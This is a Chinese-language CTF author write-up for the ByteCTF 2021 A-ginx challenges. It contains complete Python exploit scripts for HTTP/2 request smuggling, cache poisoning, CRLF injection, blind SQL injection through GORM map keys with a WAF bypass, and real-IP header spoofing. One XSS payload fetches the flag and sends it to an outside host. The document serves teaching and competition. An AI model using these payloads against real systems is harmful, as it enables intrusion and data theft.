A-ginx 出题思路与题解

在本次ByteCTF的初赛和决赛中,A-ginx都是比较少解出的题目(是我脑洞太大了吗?感觉不难呀)

这里我来谈谈我出A-ginx的思路。

一道题目,需要有若干个漏洞结合而成。我认为一个好的题目,不能随意的把各个漏洞点强制的嵌套起来,应该是符合逻辑,有所取舍的。

检查手牌

那么,就来整理一下,我出题时手上拥有的漏洞点。

1. HTTP/2

有些CTFer不喜欢升级手头的工具,总认为v1.7(最早发布于2016年)的Burp Suite才是经典。但是随着Burp不断更新迭代,老版本早因各种原因需要退出历史。比如老版本使用旧的Chromium,随时可能被日; 老版本Burp Suite 就不支持HTTP/2 等等

所以,本题的主体目标就决定为:一定要使用HTTP/2,强制使用老版本的CTFer升级Burp Suite。

当然出题不能无缘无故来使用HTTP/2,一定要有什么漏洞点才能加到题目中。通过研读HTTP/2的RFC文档,发现协议中并没有可以造成漏洞的问题,但协议没有,使用协议的上下游有没有呢?这篇文章给了我启发HTTP/2: The Sequel is Always Worse,虽然HTTP/2协议没有问题,但是在转化为HTTP/1.1会产生一些安全风险。

目前业界也较多采用使用支持HTTP/2的反代服务(如Nginx)来做前端的负载均衡,后面通过HTTP/1.1进行反向代理到真正的业务服务中。

2. 架构带来的风险

所以整道题目的架构也浮现了:前端(反向代理) –> 后端(业务逻辑)

那么 这种架构能带来什么安全问题呢?

a. 请求走私
b. WAF绕过
c. 真实IP欺骗
d. 缓存攻击

3. GORM Where Key注入

在旧版本中,GORM对于列名的未过滤反引号,可以造成逃逸,从而导致注入。

4. 简简单单来个XSS

前端使是 Asoul-ICU小作文库 修改而来,原生代码中即存在dangerouslySetInnerHTML的使用,所以简单来说就是一个XSS。

整理手牌

这些漏洞点本来是打算出在一道题中,但是发现点太多,最终拆成两道题。(桀桀,牌太多了)

初赛:请求走私 + 缓存攻击 + XSS

决赛:请求走私 + GORM注入 + 绕过WAF + 真实IP欺骗

这也是题目描述This is similar to a-ginx, but not very similar!的意义。

题目源码与环境

题目的源码和环境现已全部开源,欢迎大家指教~

解题思路和EXP

初赛提供了环境,二进制程序,数据库结构。这大部分都和A-ginx2是相似的。

通用的设定

Trace-Id

包括现实很多地方都会存在类似于Trace-Id 的东西,它们只有一个目的,追踪请求的流转。在本题中,你可以通过Trace-Id 来判断这个请求是否到达到backend

A-ginx

2021 ByteCTF 初赛部分题目官方Writeup

XSS

既然提供了bot,那必然有XSS。不管通过那些途径,你可以找到两个XSS点

  1. POST型XSS点 /v/articles/preview

  2. 展示article中的 htmlContent 是另一个XSS点

但是这两个点都不能独立的完成XSS,一个是POST型无法触发,另一个因为输入中有HTMLSanitize来进行过滤。

缓存服务

观察各个API,你会发现在/static/ 下的请求,会进行缓存,并出现cache-key。这个请求头没有Trace-Id,也表示它是直接的被缓存在了A-ginx端中。

CRLF注入

  1. 400 Bad Request

携带Trace-Id 说明该请求为后端返回的。

  1. 500 Internal Server Error

未携带Trace-Id ,说明这个500是A-ginx出错造成的。根本原因是因为错误的请求包,导致后端断开了和前端的TCP请求,第二次访问的时候连接已经断开,导致500。

确认基本攻击思路

这样我们就大致确定了攻击思路,通过CRLF注入把带有XSS payload的JSON写入A-ginx的/static/下的cache中。之后通过目录穿越,让/v/articles/uuid 转变为获取 /static/kur4ge1337.json来触发XSS。

写入恶意json

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import httpx
import uuid
from urllib import parse
DOMAIN = '127.0.0.1:20443'

id = str(uuid.uuid4())

payload1 = parse.quote(f''' HTTP/1.1
Host: {DOMAIN}
Connection: Keep-Alive

POST /v/articles/preview HTTP/1.1
Host: {DOMAIN}
Content-Type: application/x-www-form-urlencoded
Content-Length: 418
Connection: Keep-Alive

title=%7b%22data%22%3a%7b%22_id%22%3a%22%22%2c%22title%22%3a%22Kur4ge1337%22%2c%22author%22%3a%22Kur4ge1337%22%2c%22htmlContent%22%3a%22%3cimg+src%3d%2f%2fflag+onerror%3d%27fetch%28%60%2fflag%60%29.then%28r%3d%3er.text%28%29%29.then%28%28c%29%3d%3e%7bfetch%28%60%2f%2fa.bcd.ef%3a12345%2f%60%2bc%29%7d%29%27%3e%22%2c%22submissionTime%22%3a1633621705%2c%22tags%22%3a%22%22%7d%2c%22status%22%3a0%2c+%22&content=%22%3a0%7d''')

with httpx.Client(http2=True, verify=False) as client:
r = client.get(f'https://{DOMAIN}/v/' + payload1)
print(r.text, r.headers.raw)
r = client.get(f'https://{DOMAIN}/static/Kur4ge1337.json')
print(r.text, r.headers.raw)
print(f'https://{DOMAIN}/static/Kur4ge1337.json')
print(r.text, r.headers.raw)

通过上面的Payload,我们可以写入任意数据到/static/下,但是新的问题出现了。

Flag的获取

/flag要求管理员凭据,但是我们的管理员凭据只会在请求 /v/articles/uuid 时发送,那么,即使我们获得了XSS,也没有办法获得管理员凭据(非预期的方案不算…)

这里就要提一个点,fetch 会自动跟随302跳转。而带有../的路径又会触发302跳转。那么有没办法通过CRLF注入,把管理员凭证的利用点向后移动呢?

当然可以,构造Payload

1
..%25252f..%25252fstatic%252fKur4ge1337.json%2520HTTP%252f1.1%250aHost:%2520localhost%250aConnection:%2520Keep-Alive%250a%250aGET%2520%252fflag

Admin Location跳转后,会提取/#/articles/ 后的内容,向Aginx发送请求

1
2
3
GET /v/articles/..%25252f..%25252fstatic%252fKur4ge1337.json%2520HTTP%252f1.1%250aHost:%2520localhost%250aConnection:%2520Keep-Alive%250a%250aGET%2520%252fflag HTTP/2.0
Authoration:Bearer ...
...

Aginx 接收到请求,转发给web 请求如下,

1
2
3
4
5
6
7
GET /v/articles/..%2f..%2fstatic/Kur4ge1337.json HTTP/1.1
Host: localhost
Connection: Keep-Alive

GET /flag HTTP/1.1
Authoration:Bearer ...
...

web 发现存在..%2f 返回301跳转,这里也走私了一个/flag (5行之后)请求,并且携带了Admin的凭证

1
2
HTTP/1.1 301
Location: /static/Kur4ge1337.json

fetch发现存在301跳转,会自动跟随Location 发起第二轮请求。

1
2
3
GET /static/Kur4ge1337.json HTTP/2.0
Authoration:Bearer ...
...

这个请求已经被Cache,就在Aginx端直接进行了拦截返回,即这个请求是不会发送到Web 即不会获取到走私的/flag

可以在页面中成功触发XSS,通过onerror来发起/flag 请求,来读取到之前走私的/flag

问题解决~

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import random
import string
from pwn import *
from hashlib import sha256
import httpx
import uuid
from urllib import parse
DOMAIN = '127.0.0.1:20443'

id = str(uuid.uuid4())

payload1 = parse.quote(f''' HTTP/1.1
Host: {DOMAIN}
Connection: Keep-Alive

POST /v/articles/preview HTTP/1.1
Host: {DOMAIN}
Content-Type: application/x-www-form-urlencoded
Content-Length: 418
Connection: Keep-Alive

title=%7b%22data%22%3a%7b%22_id%22%3a%22%22%2c%22title%22%3a%22Kur4ge1337%22%2c%22author%22%3a%22Kur4ge1337%22%2c%22htmlContent%22%3a%22%3cimg+src%3d%2f%2fflag+onerror%3d%27fetch%28%60%2fflag%60%29.then%28r%3d%3er.text%28%29%29.then%28%28c%29%3d%3e%7bfetch%28%60%2f%2fa.bcd.ef%3a12345%2f%60%2bc%29%7d%29%27%3e%22%2c%22submissionTime%22%3a1633621705%2c%22tags%22%3a%22%22%7d%2c%22status%22%3a0%2c+%22&content=%22%3a0%7d''')

with httpx.Client(http2=True, verify=False) as client:
# data = {'title': 'test', 'content': '<p></p>'}
r = client.get(f'https://{DOMAIN}/v/' + payload1)
print(r.text, r.headers.raw)
r = client.get(f'https://{DOMAIN}/static/Kur4ge1337.json')
print(r.text, r.headers.raw)
print(f'https://{DOMAIN}/static/Kur4ge1337.json')
print(r.text, r.headers.raw)

def encodeURI(s):
r = ''
for c in s:
if c in '''\r\n"'%&/ ''':
r += '%{:0>2x}'.format(ord(c))
else:
r += c
return r


payload2 = encodeURI(encodeURI(f'''..%2f..%2fstatic/Kur4ge1337.json HTTP/1.1
Host: localhost
Connection: Keep-Alive

GET /flag'''.strip()))

print(payload2)

io = remote('127.0.0.1', 9000)
context.log_level = 'debug'

io.recvuntil(b'+')
suffix = io.recvuntil(b')')[:-1]
io.recvuntil(b'== ')
hash = io.recvline()[:-1].decode()

assert(len(suffix) == 16 and len(hash) == 64)

def solve_pow(suffix, hash):
chars = string.digits + string.ascii_letters
while True:
for a in chars:
for b in chars:
for c in chars:
for d in chars:
xxxx = f'{a}{b}{c}{d}'
if sha256(xxxx.encode() + suffix).hexdigest() == hash:
return xxxx

io.sendline(solve_pow(suffix, hash))
io.recvuntil(b'\n')
io.sendline(payload2)
io.interactive()

A-ginx2

SQLi

要获取管理员的密码,唯一可能就是注入了,其实没什么数据库交互点,可以看到有个query参数很奇怪,里面给的是json的k-v的形式,如果有写过gorm,那么你一定知道,GORM中where可以传入*map[string]interface{} ,其中key可控的情况就会造成SQLi

通过简单的尝试,可以获取到SQLi。

以上两个payload可以简单的确认,这里存在注入。

但是,存在对参数的WAF,需要如何绕过呢?是的。请求走私。

绕WAF & 获取密码

代码中只对参数进行检测,所以,只要走私到body,就可以绕过这个WAF啦!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import httpx
from urllib import parse
import json
DOMAIN = '127.0.0.1:30443'
Authorization = 'Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NDAwMDEyMjMsInVzZXJuYW1lIjoia3VyNGdlIn0.Ml09NIlcP5dmiYM0rF09jbvYS3EiT7_EPUgz1Ue4tu0'

headers = {
'Content-Length' : '0'
}
def check(payload):
query = parse.quote(json.dumps({f"title` OR (SELECT 1 FROM users WHERE username='admin' AND {payload}) OR `title":"n0t_Exsit"}))

data = f'''GET /v/articles?pageNum=0&pageSize=36&query={query} HTTP/1.1
Host: localhost
Connection: Keep-Alive
Authorization: {Authorization}

'''
with httpx.Client(http2=True, verify=False) as client:
r = client.request("GET", f'https://{DOMAIN}/v/', headers=headers, data=data)
r = client.request("GET", f'https://{DOMAIN}/v/')
print(r.text)
obj = json.loads(r.text)
return len(obj['articles']) != 0

base_sql = 'ASCII(SUBSTR(password,{},1))>{}'
password = ''
for i in range(1, 29):
Min = 0x10
Max = 128
while abs(Max - Min) > 1:
mid = (Max+Min) // 2
payload = base_sql.format(i, mid)
if check(payload):
Min = mid
else:
Max = mid
password += chr(Max)
print(password)

写出布尔注的脚本,简简单单可以跑到密码Visit_/flag_to_get_the_flag!

但是,/flag 是需要内网ip才能访问。本题没有ssrf,没有xss bot。考虑常见的XFF Payload发现无效,只能来获取真正的XFF头。

获取IP Header

来获取返回头,需要一个能够返回请求中Query的API。/v/articles/preview 这个API 就可以完成这个能力。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import httpx
from urllib import parse
import json
DOMAIN = '127.0.0.1:30443'

def get_header():
data = 'title=1&content='
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'Connection' : 'keep-alive',
'Content-Length' : str(len(data) + 300),
}
first = '''GET /v/ HTTP/1.1
Host: localhost
Connection: Keep-Alive

'''
with httpx.Client(http2=True, verify=False) as client:
r = client.request("GET", f'https://{DOMAIN}/v/', headers={'Content-Length': '0'}, data=first)
r = client.request("POST", f'https://{DOMAIN}/v/articles/preview', headers=headers, data=data)
r = client.request("POST", f'https://{DOMAIN}/v/', data='a'*400)
print(r.text)
get_header()

拿到Client获取信任IP的header 为 X-Sup3r-DiAnA-Re4l-Ip

Get flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import httpx
from urllib import parse
import json
DOMAIN = '127.0.0.1:30443'

def login(username, password):
with httpx.Client(http2=True, verify=False) as client:
data = {"username": username, "password": password}
r = client.post(f'https://{DOMAIN}/v/login', json=data)
return json.loads(r.text)['token']

def get_flag(token, header):
data = f'''GET /flag HTTP/1.1
Host: localhost
{header}: 172.16.0.1:23333
Authorization: Bearer {token}

'''
with httpx.Client(http2=True, verify=False) as client:
r = client.request("GET", f'https://{DOMAIN}/v/', headers={'Content-Length': '0'}, data=data)
r = client.request("GET", f'https://{DOMAIN}/flag')
print(r.text)
return json.loads(r.text)['flag']

token = login('admin', 'Visit_/flag_to_get_the_flag!')
print(token)
flag = get_flag(token, 'X-Sup3r-DiAnA-Re4l-Ip')
print(flag)

为了出题而出题/偷懒的地方

虽然说了那么多命题要义,但最终还是有些问题,不得不用trick来解决。

“迫真”的缓存cache

ByteCTF2021/A-ginx/a-ginx/cmd/server/main.go#L42-L55

按照正常逻辑应该不需要这种诡异的判断,但是还是考虑到避免搅屎,加上了这段判断。

backend使用中间件来完成../跳转

../导致的目录穿越其实是一个很经典的问题,可以看到 golang.org/x/net/http2 会自动的进行重定向,而 github.com/gin-gonic/gin 却不能。

ByteCTF2021/A-ginx2/backend/internal/handler/middleware/uri_trim.go#L13-L33

为了满足跳转造成的XSS,只能手动写一个中间件了~

修改源码来允许非法Content-Length

ByteCTF2021/A-ginx2/Dockerfile_aginx#L16

A-ginx2 中导致请求走势的注入点为Content-Length,但事实上使用golang.org/x/net/http2构建的HTTP/2服务会针对Content- Length错误抛出一个异常。并且清空body中的数据。所以为了题目的漏洞能够正确的触发,所以只能进行小小的修改了:)

WAF问题

WAF就随便写了一个基于关键词WAF,是偷懒了(

具体的关键词是取自MySQL 8.0 docs中的所有keywords,剔除了部分单词,例如or(author),让逻辑可以正确运行。而且,这个waf其实可以用 \u直接绕过(该死的log4j,让我没时间修这个) ,但是似乎,也没人用这个方案绕waf?

最后

希望大家能从这两题中有所收获~

作者

Kur4ge

发布于

2021-12-14

更新于

2022-02-10

许可协议

评论